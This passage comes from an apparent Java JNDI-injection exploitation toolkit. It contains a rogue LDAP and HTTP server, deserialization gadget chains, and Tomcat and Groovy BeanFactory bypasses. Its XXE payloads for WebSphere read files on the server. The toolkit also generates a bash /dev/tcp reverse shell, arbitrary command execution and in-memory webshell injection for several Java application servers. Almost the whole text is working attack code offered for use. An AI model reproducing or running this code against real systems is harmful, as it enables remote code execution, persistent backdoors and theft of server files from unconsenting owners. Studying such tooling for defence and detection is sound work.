path.substring(path.lastIndexOf(\"/\") + 1, path.lastIndexOf(\".\"));\n\n        if(Cache.contains(jarName)){\n            System.out.println(\"[+] Response Code: \" + 200);\n\n            byte[] bytes = Cache.get(jarName);\n            exchange.sendResponseHeaders(200, bytes.length + 1);\n            exchange.getResponseBody().write(bytes);\n            System.out.println(\"[+] Stalling connection for 60 seconds\");\n            try{\n                Thread.sleep(60000);\n            }catch (InterruptedException e){\n                e.printStackTrace();\n            }\n            System.out.println(\"[+] Release stalling...\");\n        }else{\n            System.out.println(\"[!] Response Code: \" + 404);\n            exchange.sendResponseHeaders(404, 0);\n        }\n        exchange.close();\n    }\n\n    private static void handleClassRequest(HttpExchange exchange) throws IOException{\n        String path = exchange.getRequestURI().getPath();\n        String className = path.substring(path.lastIndexOf(\"/\") + 1, path.lastIndexOf(\".\"));\n        System.out.println(\"[+] Receive ClassRequest: \" + className + \".class\");\n\n        if(Cache.contains(className)){\n            System.out.println(\"[+] Response Code: \" + 200);\n\n            byte[] bytes = Cache.get(className);\n            exchange.sendResponseHeaders(200, bytes.length);\n            exchange.getResponseBody().write(bytes);\n        }else{\n            System.out.println(\"[!] Response Code: \" + 404);\n            exchange.sendResponseHeaders(404, 0);\n        }\n        exchange.close();\n    }\n\n    private static void handleWSDLRequest(HttpExchange exchange) throws Exception {\n        String query = exchange.getRequestURI().getQuery();\n        Map<String, String> params = parseQuery(query);\n\n        String path = exchange.getRequestURI().getPath().substring(1);\n\n        if(path.startsWith(\"list\")) {\n            //intended to list directories or read files on server\n            String file = params.get(\"file\");\n            if (file != null && !file.isEmpty()) {\n                String listWsdl = \"\" +\n                        \"<!DOCTYPE x [\\n\" +\n                        \"  <!ENTITY % aaa SYSTEM \\\"file:///\" + file + \"\\\">\\n\" +\n                        \"  <!ENTITY % bbb SYSTEM \\\"http://\" + Config.ip + \":\" + Config.httpPort + \"/http.wsdl\\\">\\n\" +\n                        \"  %bbb;\\n\" +\n                        \"]>\\n\" +\n                        \"<definitions name=\\\"HelloService\\\" xmlns=\\\"http://schemas.xmlsoap.org/wsdl/\\\">\\n\" +\n                        \"  &ddd;\\n\" +\n                        \"</definitions>\";\n\n                System.out.println(\"[+] Response Code: \" + 200);\n                exchange.sendResponseHeaders(200, listWsdl.getBytes().length);\n                exchange.getResponseBody().write(listWsdl.getBytes());\n            } else {\n                System.out.println(\"[!] Missing or wrong argument\");\n                System.out.println(\"[!] Response Code: \" + 404);\n                exchange.sendResponseHeaders(404, 0);\n            }\n            exchange.close();\n\n        }else if(path.startsWith(\"upload\")) {\n            String type = params.get(\"type\");\n\n            String[] args = null;\n            if (type.equalsIgnoreCase(\"command\")) {\n                args = new String[]{params.get(\"cmd\")};\n            } else if (type.equalsIgnoreCase(\"dnslog\")) {\n                args = new String[]{params.get(\"url\")};\n            } else if (type.equalsIgnoreCase(\"reverseshell\")) {\n                args = new String[]{params.get(\"ip\"), params.get(\"port\")};\n            }\n\n            String jarName = createJar(type, args);\n            if (jarName != null) {\n                String uploadWsdl = \"<!DOCTYPE a SYSTEM \\\"jar:http://\" + Config.ip + \":\" + Config.httpPort +\n                        \"/\" + jarName + \".jar!/file.txt\\\"><a></a>\";\n\n                System.out.println(\"[+] Response Code: \" + 200);\n                exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length);\n                exchange.getResponseBody().write(uploadWsdl.getBytes());\n            } else {\n                System.out.println(\"[!] Missing or wrong argument\");\n                System.out.println(\"[!] Response Code: \" + 404);\n                exchange.sendResponseHeaders(404, 0);\n            }\n            exchange.close();\n        }else if(path.startsWith(\"http\"))  {\n            String xxhttp = \"<!ENTITY % ccc '<!ENTITY ddd &#39;<import namespace=\\\"uri\\\" location=\\\"http://\" +\n                    Config.ip + \":\" + Config.httpPort + \"/xxelog?%aaa;\\\"/>&#39;>'>%ccc;\";\n            System.out.println(\"[+] Response Code: \" + 200);\n            exchange.sendResponseHeaders(200, xxhttp.getBytes().length);\n            exchange.getResponseBody().write(xxhttp.getBytes());\n            exchange.close();\n        }else{\n            System.out.println(\"[!] Response Code: \" + 404);\n            exchange.sendResponseHeaders(404, 0);\n            exchange.close();\n        }\n    }\n\n    private static Map<String, String> parseQuery(String query){\n        Map<String,String> params = new HashMap<String, String>();\n\n        try{\n            for(String str : query.split(\"&\")){\n                try{\n                    String[] parts = str.split(\"=\",2);\n                    params.put(parts[0], parts[1]);\n                }catch(Exception e){\n                    //continue\n                }\n            }\n        }catch(Exception e){\n            //continue\n        }\n\n        return params;\n    }\n\n    /*\n         由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功\n         这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题\n         目前暂时认为其不会有问题，如果有问题，后面再修改\n    */\n    private static String createJar(String type, String... params) throws Exception {\n        byte[] bytes = new byte[0];\n        String className = \"xExportObject\";\n\n        if (type.toLowerCase().equals(\"command\")) {\n            CommandTemplate commandTemplate = new CommandTemplate(params[0], \"xExportObject\");\n            bytes = commandTemplate.getBytes();\n        } else if (type.toLowerCase().equals(\"dnslog\")){\n            DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], \"xExportObject\");\n            bytes = dnslogTemplate.getBytes();\n        } else if (type.toLowerCase().equals(\"reverseshell\")) {\n            ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], \"xExportObject\");\n            bytes = reverseShellTemplate.getBytes();\n        } else if (type.toLowerCase().equals(\"webspherememshell\")) {\n            ClassPool classPool = ClassPool.getDefault();\n            CtClass exploitClass = classPool.get(\"com.feihong.ldap.template.WebsphereMemshellTemplate\");\n            exploitClass.setName(className);\n            exploitClass.detach();\n            bytes = exploitClass.toBytecode();\n        }else{\n            return null;\n        }\n\n        System.out.println(\"[+] Name of Class in Jar: \" + className);\n        ByteArrayOutputStream bout = new ByteArrayOutputStream();\n        JarOutputStream jarOut = new JarOutputStream(bout);\n        jarOut.putNextEntry(new ZipEntry(className + \".class\"));\n        jarOut.write(bytes);\n        jarOut.closeEntry();\n        jarOut.close();\n        bout.close();\n\n        String jarName = Util.getRandomString();\n        Cache.set(jarName, bout.toByteArray());\n\n        return jarName;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/LdapServer.java",
    "content": "package com.feihong.ldap;\n\nimport com.feihong.ldap.controllers.LdapController;\nimport com.feihong.ldap.controllers.LdapMapping;\nimport com.feihong.ldap.utils.Config;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServer;\nimport com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;\nimport com.unboundid.ldap.listener.InMemoryListenerConfig;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;\nimport org.reflections.Reflections;\nimport javax.net.ServerSocketFactory;\nimport javax.net.SocketFactory;\nimport javax.net.ssl.SSLSocketFactory;\nimport java.lang.reflect.Constructor;\nimport java.net.InetAddress;\nimport java.util.Set;\nimport java.util.TreeMap;\n\n\npublic class LdapServer extends InMemoryOperationInterceptor {\n\n    TreeMap<String, LdapController> routes = new TreeMap<String, LdapController>();\n\n    public static void start() {\n        try {\n            InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig(\"dc=example,dc=com\");\n            serverConfig.setListenerConfigs(new InMemoryListenerConfig(\n                    \"listen\",\n                    InetAddress.getByName(\"0.0.0.0\"),\n                    Config.ldapPort,\n                    ServerSocketFactory.getDefault(),\n                    SocketFactory.getDefault(),\n                    (SSLSocketFactory) SSLSocketFactory.getDefault()));\n\n            serverConfig.addInMemoryOperationInterceptor(new LdapServer());\n            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);\n            ds.startListening();\n            System.out.println(\"[+] LDAP Server Start Listening on \" + Config.ldapPort + \"...\");\n        }\n        catch ( Exception e ) {\n            e.printStackTrace();\n        }\n    }\n\n    public LdapServer() throws Exception {\n\n        //find all classes annotated with @LdapMapping\n        Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())\n                .getTypesAnnotatedWith(LdapMapping.class);\n\n        //instantiate them and store in the routes map\n        for(Class<?> controller : controllers) {\n            Constructor<?> cons = controller.getConstructor();\n            LdapController instance = (LdapController) cons.newInstance();\n            String[] mappings = controller.getAnnotation(LdapMapping.class).uri();\n            for(String mapping : mappings) {\n                if(mapping.startsWith(\"/\"))\n                    mapping = mapping.substring(1); //remove first forward slash\n\n                routes.put(mapping, instance);\n            }\n        }\n    }\n\n    /**\n     * {@inheritDoc}\n     *\n     * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)\n     */\n    @Override\n    public void processSearchResult(InMemoryInterceptedSearchResult result) {\n        String base = result.getRequest().getBaseDN();\n        System.out.println(\"[+] Received LDAP Query: \" + base);\n        LdapController controller = null;\n        //find controller\n        for(String key: routes.keySet()) {\n            //compare using wildcard at the end\n            if(base.toLowerCase().startsWith(key)) {\n                controller = routes.get(key);\n                break;\n            }\n        }\n\n        if(controller == null){\n            System.out.println(\"[!] Invalid LDAP Query: \" + base);\n            return;\n        }\n\n        try {\n            controller.process(base);\n            controller.sendResult(result, base);\n        } catch (Exception e1) {\n            System.out.println(\"[!] Exception: \" + e1.getMessage());\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/feihong/ldap/Starter.java",
    "content": "package com.feihong.ldap;\n\nimport com.feihong.ldap.utils.Config;\nimport java.io.IOException;\n\npublic class Starter {\n    public static void main(String[] args) throws IOException {\n        Config.applyCmdArgs(args);\n        LdapServer.start();\n        HTTPServer.start();\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/BasicController.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.MemShellType;\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;\nimport com.feihong.ldap.utils.*;\nimport com.feihong.ldap.template.CommandTemplate;\nimport com.feihong.ldap.template.DnslogTemplate;\nimport com.feihong.ldap.template.ReverseShellTemplate;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport com.unboundid.ldap.sdk.Entry;\nimport com.unboundid.ldap.sdk.LDAPResult;\nimport com.unboundid.ldap.sdk.ResultCode;\nimport java.net.URL;\n\n@LdapMapping(uri = { \"/basic\" })\npublic class BasicController implements LdapController {\n    //最后的反斜杠不能少\n    private String codebase = Config.codeBase;\n    private PayloadType type;\n    private String[] params;\n\n    @Override\n    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {\n        System.out.println(\"[+] Sending LDAP ResourceRef result for \" + base + \" with basic remote reference payload\");\n        //这个方法里面有改动，其他基本无改动\n        Entry e = new Entry(base);\n        String className = \"\";\n\n        switch (type){\n            case dnslog:\n                DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]);\n                dnslogTemplate.cache();\n                className = dnslogTemplate.getClassName();\n                break;\n            case command:\n                CommandTemplate commandTemplate = new CommandTemplate(params[0]);\n                commandTemplate.cache();\n                className = commandTemplate.getClassName();\n                break;\n            case reverseshell:\n                ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]);\n                reverseShellTemplate.cache();\n                className = reverseShellTemplate.getClassName();\n                break;\n            case tomcatmemshell:\n                className = MemShellType.TOMCAT;\n                break;\n            case jettymemshell:\n                className = MemShellType.JETTY;\n                break;\n            case jbossmemshell:\n                className = MemShellType.JBOSS;\n                break;\n            case weblogicmemshell:\n                className = MemShellType.WEBLOGIC;\n                break;\n            case webspherememshell:\n                className = MemShellType.WEBSPHERE;\n                break;\n            case springmemshell:\n                className = MemShellType.SPRING;\n                break;\n        }\n\n        URL turl = new URL(new URL(this.codebase), className + \".class\");\n        System.out.println(\"[+] Send LDAP reference result for \" + base + \" redirecting to \" + turl);\n        e.addAttribute(\"javaClassName\", \"foo\");\n        e.addAttribute(\"javaCodeBase\", this.codebase);\n        e.addAttribute(\"objectClass\", \"javaNamingReference\"); //$NON-NLS-1$\n        e.addAttribute(\"javaFactory\", className);\n        result.sendSearchEntry(e);\n        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\n    }\n\n    @Override\n    public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {\n        try{\n            int fistIndex = base.indexOf(\"/\");\n            int secondIndex = base.indexOf(\"/\", fistIndex + 1);\n            if(secondIndex < 0) secondIndex = base.length();\n\n            try{\n                type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());\n                System.out.println(\"[+] Paylaod: \" + type);\n            }catch(IllegalArgumentException e){\n                throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + base.substring(fistIndex + 1, secondIndex));\n            }\n\n            switch(type){\n                case dnslog:\n                    String url = base.substring(base.lastIndexOf(\"/\") + 1);\n                    System.out.println(\"[+] URL: \" + url);\n                    params = new String[]{url};\n                    break;\n                case command:\n                    String cmd = Util.getCmdFromBase(base);\n                    System.out.println(\"[+] Command: \" + cmd);\n                    params = new String[]{cmd};\n                    break;\n                case reverseshell:\n                    String[] results = Util.getIPAndPortFromBase(base);\n                    System.out.println(\"[+] IP: \" + results[0]);\n                    System.out.println(\"[+] Port: \" + results[1]);\n                    params = results;\n                    break;\n            }\n        }catch(Exception e){\n            if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;\n\n            throw new IncorrectParamsException(\"Incorrect params: \" + base);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/GroovyBypassController.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;\nimport com.feihong.ldap.utils.*;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport com.unboundid.ldap.sdk.Entry;\nimport com.unboundid.ldap.sdk.LDAPResult;\nimport com.unboundid.ldap.sdk.ResultCode;\nimport org.apache.naming.ResourceRef;\nimport javax.naming.StringRefAddr;\n\n/*\n * Requires:\n *   - Tomcat and Groovy in classpath\n *\n * @author https://twitter.com/orange_8361 and https://github.com/welk1n\n *\n * Groovy 语法参考：\n *      - https://xz.aliyun.com/t/8231#toc-7\n *      - https://my.oschina.net/jjyuangu/blog/1815945\n *      - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails\n */\n\n@LdapMapping(uri = { \"/groovybypass\" })\npublic class GroovyBypassController implements LdapController {\n    private PayloadType type;\n    private String[] params;\n    private String template = \" if (System.properties['os.name'].toLowerCase().contains('windows')) {\\n\" +\n            \"       ['cmd','/C', '${cmd}'].execute();\\n\" +\n            \"   } else {\\n\" +\n            \"       ['/bin/sh','-c', '${cmd}'].execute();\\n\" +\n            \"   }\";\n\n    @Override\n    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {\n        System.out.println(\"[+] Sending LDAP ResourceRef result for \" + base + \" with groovy.lang.GroovyShell payload\");\n\n        Entry e = new Entry(base);\n        e.addAttribute(\"javaClassName\", \"java.lang.String\"); //could be any\n\n        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory\n        ResourceRef ref = new ResourceRef(\"groovy.lang.GroovyShell\", null, \"\", \"\", true,\"org.apache.naming.factory.BeanFactory\",null);\n        ref.add(new StringRefAddr(\"forceString\", \"x=evaluate\"));\n        System.out.println(\"[+] Returen script: \");\n        System.out.println(\"-----------------------------------------------\");\n        System.out.println(template.replace(\"${cmd}\", params[0]).replace(\"${cmd}\", params[0]));\n        System.out.println(\"-----------------------------------------------\");\n        ref.add(new StringRefAddr(\"x\", template.replace(\"${cmd}\", params[0]).replace(\"${cmd}\", params[0])));\n\n        e.addAttribute(\"javaSerializedData\", Util.serialize(ref));\n\n        result.sendSearchEntry(e);\n        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\n    }\n\n    @Override\n    public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {\n        try{\n            int firstIndex = base.indexOf(\"/\");\n            int secondIndex = base.indexOf(\"/\", firstIndex + 1);\n            if(secondIndex < 0) secondIndex = base.length();\n\n            //因为我对 grovvy 的语法完全不懂，所以目前只支持执行命令这一种形式的 PayloadType\n            String payloadType = base.substring(firstIndex + 1, secondIndex);\n            if(payloadType.equalsIgnoreCase(\"command\")){\n                type = PayloadType.valueOf(\"command\");\n                System.out.println(\"[+] Paylaod: \" + type);\n            }else{\n                throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + payloadType);\n            }\n\n            String cmd = Util.getCmdFromBase(base);\n            System.out.println(\"[+] Command: \" + cmd);\n            params = new String[]{cmd};\n        }catch(Exception e){\n            if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;\n\n            throw new IncorrectParamsException(\"Incorrect params: \" + base);\n        }\n    }\n}"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/LdapController.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.ldap.exceptions.UnSupportedActionTypeException;\nimport com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;\nimport com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\n\npublic interface LdapController {\n    void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;\n    void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/LdapMapping.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Retention(RetentionPolicy.RUNTIME)\n@Target(ElementType.TYPE)\npublic @interface LdapMapping {\n    String[] uri();\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java",
    "content": "package com.ibm.websphere.client.factory.jdbc;\n\nimport javax.naming.RefAddr;\nimport java.util.Properties;\n\n//this is a stub class required by WebSphere2 ldap handler\npublic class PropertiesRefAddr extends RefAddr {\n    private static final long serialVersionUID = 288055886942232156L;\n    private Properties props;\n\n    public PropertiesRefAddr(String addrType, Properties props) {\n        super(addrType);\n        this.props = props;\n    }\n\n    public Object getContent() {\n        return this.props;\n    }\n}"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/SerializedDataController.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.GadgetType;\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;\nimport com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;\nimport com.feihong.ldap.utils.*;\nimport com.feihong.ldap.gadgets.*;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport com.unboundid.ldap.sdk.Entry;\nimport com.unboundid.ldap.sdk.LDAPResult;\nimport com.unboundid.ldap.sdk.ResultCode;\n\n@LdapMapping(uri = { \"/deserialize\" })\npublic class SerializedDataController implements LdapController {\n    private GadgetType gadgetType;\n    private PayloadType payloadType;\n    private String[] params;\n\n    @Override\n    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {\n        System.out.println(\"[+] Send LDAP result for \" + base + \" with javaSerializedData attribute\");\n\n        //这个方法里面有改动，其他基本无改动\n        Entry e = new Entry(base);\n        byte[] bytes = null;\n        switch (gadgetType){\n            case urldns:\n                bytes = URLDNS.getBytes(params[0]);\n                break;\n            case commonsbeanutils1:\n                bytes = CommonsBeanutils1.getBytes(payloadType, params);\n                break;\n            case commonscollections1:\n                bytes = CommonsCollections1.getBytes(payloadType, params);\n                break;\n            case commonscollections2:\n                bytes = CommonsCollections2.getBytes(payloadType, params);\n                break;\n            case jre8u20:\n                bytes = Jre8u20.getBytes(payloadType, params);\n                break;\n            case c3p0:\n                bytes = C3P0.getBytes(payloadType, params);\n                break;\n        }\n\n        e.addAttribute(\"javaClassName\", \"foo\");\n        e.addAttribute(\"javaSerializedData\",bytes);\n        result.sendSearchEntry(e);\n        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\n    }\n\n    @Override\n    public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {\n        try{\n            int firstIndex = base.indexOf(\"/\");\n            int secondIndex = base.indexOf(\"/\", firstIndex + 1);\n            try{\n                gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());\n                System.out.println(\"[+] GaddgetType: \" + gadgetType);\n            }catch(IllegalArgumentException e){\n                throw new UnSupportedGadgetTypeException(\"UnSupportGaddgetType: \" + base.substring(firstIndex + 1, secondIndex));\n            }\n\n            if(gadgetType == GadgetType.urldns){\n                String url = \"http://\" + base.substring(base.lastIndexOf(\"/\") + 1);\n                System.out.println(\"[+] URL: \" + url);\n                params = new String[]{url};\n                return;\n            }\n\n            int thirdIndex = base.indexOf(\"/\", secondIndex + 1);\n            if(thirdIndex < 0) thirdIndex = base.length();\n            try{\n                payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());\n                System.out.println(\"[+] PayloadType: \" + payloadType);\n            }catch (IllegalArgumentException e){\n                throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + base.substring(secondIndex + 1, thirdIndex));\n            }\n\n            switch(payloadType){\n                case dnslog:\n                    String url = base.substring(base.lastIndexOf(\"/\") + 1);\n                    System.out.println(\"[+] URL: \" + url);\n                    params = new String[]{url};\n                    break;\n                case command:\n                    String cmd = Util.getCmdFromBase(base);\n                    System.out.println(\"[+] Command: \" + cmd);\n                    params = new String[]{cmd};\n                    break;\n                case reverseshell:\n                    String[] results = Util.getIPAndPortFromBase(base);\n                    System.out.println(\"[+] IP: \" + results[0]);\n                    System.out.println(\"[+] Port: \" + results[1]);\n                    params = results;\n                    break;\n            }\n\n        }catch(Exception e){\n            if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;\n            if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e;\n\n            throw new IncorrectParamsException(\"Incorrect params: \" + base);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/controllers/TomcatBypassController.java",
    "content": "package com.feihong.ldap.controllers;\n\nimport com.feihong.ldap.enumtypes.PayloadType;\nimport com.feihong.ldap.exceptions.IncorrectParamsException;\nimport com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;\nimport com.feihong.ldap.utils.*;\nimport com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;\nimport com.unboundid.ldap.sdk.Entry;\nimport com.unboundid.ldap.sdk.LDAPResult;\nimport com.unboundid.ldap.sdk.ResultCode;\nimport org.apache.naming.ResourceRef;\nimport javax.naming.StringRefAddr;\nimport java.io.IOException;\n\n/*\n   注意：在 Javascript 引擎时，直接使用 sun.misc.Base64Decoder 和 org.apache.tomcat.util.buf.Base64 均会抛出异常\n\n    * Requires:\n    *   - Tomcat 8+ or SpringBoot 1.2.x+ in classpath\n */\n\n@LdapMapping(uri = { \"/tomcatbypass\" })\npublic class TomcatBypassController implements LdapController {\n    private PayloadType type;\n    private String[] params;\n    private String payloadTemplate = \"{\" +\n            \"\\\"\\\".getClass().forName(\\\"javax.script.ScriptEngineManager\\\")\" +\n            \".newInstance().getEngineByName(\\\"JavaScript\\\")\" +\n            \".eval(\\\"{replacement}\\\")\" +\n            \"}\";\n\n\n    @Override\n    public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {\n        System.out.println(\"[+] Sending LDAP ResourceRef result for \" + base + \" with javax.el.ELProcessor payload\");\n\n        Entry e = new Entry(base);\n        e.addAttribute(\"javaClassName\", \"java.lang.String\"); //could be any\n        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory\n        ResourceRef ref = new ResourceRef(\"javax.el.ELProcessor\", null, \"\", \"\",\n                true, \"org.apache.naming.factory.BeanFactory\", null);\n        ref.add(new StringRefAddr(\"forceString\", \"x=eval\"));\n\n        TomcatBypassHelper helper = new TomcatBypassHelper();\n        String code = null;\n        switch (type){\n            case dnslog:\n                code = helper.getDnsRequestCode(params[0]);\n                break;\n            case command:\n                code = helper.getExecCode(params[0]);\n                break;\n            case reverseshell:\n                code = helper.getReverseShellCode(params[0], params[1]);\n                break;\n            case tomcatmemshell:\n                code = helper.injectTomcatMemsell();\n                break;\n            case springmemshell:\n                code = helper.injectSpringMemshell();\n                break;\n        }\n        String finalPayload = payloadTemplate.replace(\"{replacement}\", code);\n        System.out.println(\"[+] Return script:\");\n        System.out.println(\"-----------------------------------------------\");\n        System.out.println(finalPayload);\n        System.out.println(\"-----------------------------------------------\");\n        ref.add(new StringRefAddr(\"x\", finalPayload));\n        e.addAttribute(\"javaSerializedData\", Util.serialize(ref));\n\n        result.sendSearchEntry(e);\n        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));\n    }\n\n    @Override\n    public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {\n        try{\n            int firstIndex = base.indexOf(\"/\");\n            int secondIndex = base.indexOf(\"/\", firstIndex + 1);\n            if(secondIndex < 0) secondIndex = base.length();\n\n            try{\n                type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());\n\n                //因为是 Tomcat Bypass，所以仅需要支持 Tomcat内存shell 和 Spring内存shell 即可\n                if(type == PayloadType.weblogicmemshell || type == PayloadType.webspherememshell\n                        || type == PayloadType.jettymemshell || type == PayloadType.jbossmemshell){\n                    throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + type);\n                }\n\n                System.out.println(\"[+] Paylaod: \" + type);\n            }catch(IllegalArgumentException e){\n                throw new UnSupportedPayloadTypeException(\"UnSupportedPayloadType: \" + base.substring(firstIndex + 1, secondIndex));\n            }\n\n            switch (type){\n                case dnslog:\n                    String url = base.substring(base.lastIndexOf(\"/\") + 1);\n                    System.out.println(\"[+] URL: \" + url);\n                    params = new String[]{url};\n                    break;\n                case command:\n                    String cmd = Util.getCmdFromBase(base);\n                    System.out.println(\"[+] Command: \" + cmd);\n                    params = new String[]{cmd};\n                    break;\n                case reverseshell:\n                    String[] results = Util.getIPAndPortFromBase(base);\n                    System.out.println(\"[+] IP: \" + results[0]);\n                    System.out.println(\"[+] Port: \" + results[1]);\n                    params = results;\n                    break;\n            }\n        }catch(Exception e){\n            if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;\n\n            throw new IncorrectParamsException(\"Incorrect params: \" + base);\n        }\n    }\n\n    private class TomcatBypassHelper{\n        /*\n            在对代码进行改写时需要注意：\n                ① 所有的数据类型修改为 var, 包括 byte[] bytes ( var bytes )\n                ② 必须使用全类名\n                ③  System.out.println() 需要修改为 print()\n                ④  try{...}catch(Exception e){...}  需要修改为 try{...}catch(err){...}\n                ⑤  双引号改为单引号\n                ⑥  Class.forName() 需要改为 java.lang.Class.forName(), String 需要改为 java.lang.String等\n                ⑦  去除类型强转\n                ⑧  不能用 sun.misc.Base64Encoder，会抛异常  javax.script.ScriptException: ReferenceError: \"sun\" is not defined in <eval> at line number 1\n                ⑨  不能使用  for(Object obj : objects) 循环\n         */\n\n        public String getExecCode(String cmd) throws IOException {\n\n            String code = \"var strs=new Array(3);\\n\" +\n                    \"        if(java.io.File.separator.equals('/')){\\n\" +\n                    \"            strs[0]='/bin/bash';\\n\" +\n                    \"            strs[1]='-c';\\n\" +\n                    \"            strs[2]='\" + cmd + \"';\\n\" +\n                    \"        }else{\\n\" +\n                    \"            strs[0]='cmd';\\n\" +\n                    \"            strs[1]='/C';\\n\" +\n                    \"            strs[2]='\" + cmd + \"';\\n\" +\n                    \"        }\\n\" +\n                    \"        java.lang.Runtime.getRuntime().exec(strs);\";\n\n            return code;\n        }\n\n        public String getDnsRequestCode(String dnslog){\n            String code = \"var str;\\n\" +\n                    \"            if(java.io.File.separator.equals('/')){\\n\" +\n                    \"                str = 'ping -c 1 \" + dnslog + \"';\\n\" +\n                    \"            }else{\\n\" +\n                    \"                str = 'nslookup \" + dnslog + \"';\\n\" +\n                    \"            }\\n\" +\n                    \"\\n\" +\n                    \"            java.lang.Runtime.getRuntime().exec(str);\";\n\n            return code;\n        }\n\n        public String getReverseShellCode(String ip, String port){\n            int pt = Integer.parseInt(port);\n            String code = \"if(java.io.File.separator.equals('/')){\\n\" +\n                    \"                var cmds = new Array('/bin/bash', '-c', '/bin/bash -i >& /dev/tcp/\" + ip + \"/\" + pt + \"');\\n\" +\n                    \"                java.lang.Runtime.getRuntime().exec(cmds);\\n\" +\n                    \"            }\";\n\n            return code;\n        }\n\n        public String injectTomcatMemsell(){\n            return injectMemshell(\"com.feihong.ldap.template.TomcatMemshellTemplate\");\n        }\n\n        public String injectSpringMemshell(){\n            return injectMemshell(\"com.feihong.ldap.template.SpringMemshellTemplate\");\n        }\n\n        public String injectMemshell(String className){\n            //使用类加载的方式最为方便，可维护性也大大增强\n\n            String classCode = null;\n            try{\n                classCode = Util.getClassCode(className);\n            }catch(Exception e){\n                e.printStackTrace();\n            }\n\n            //没法直接调用 sun.misc.Base64Decoder，会报错，索性用反射的方法写了\n            String code = \"var bytes;\\n\" 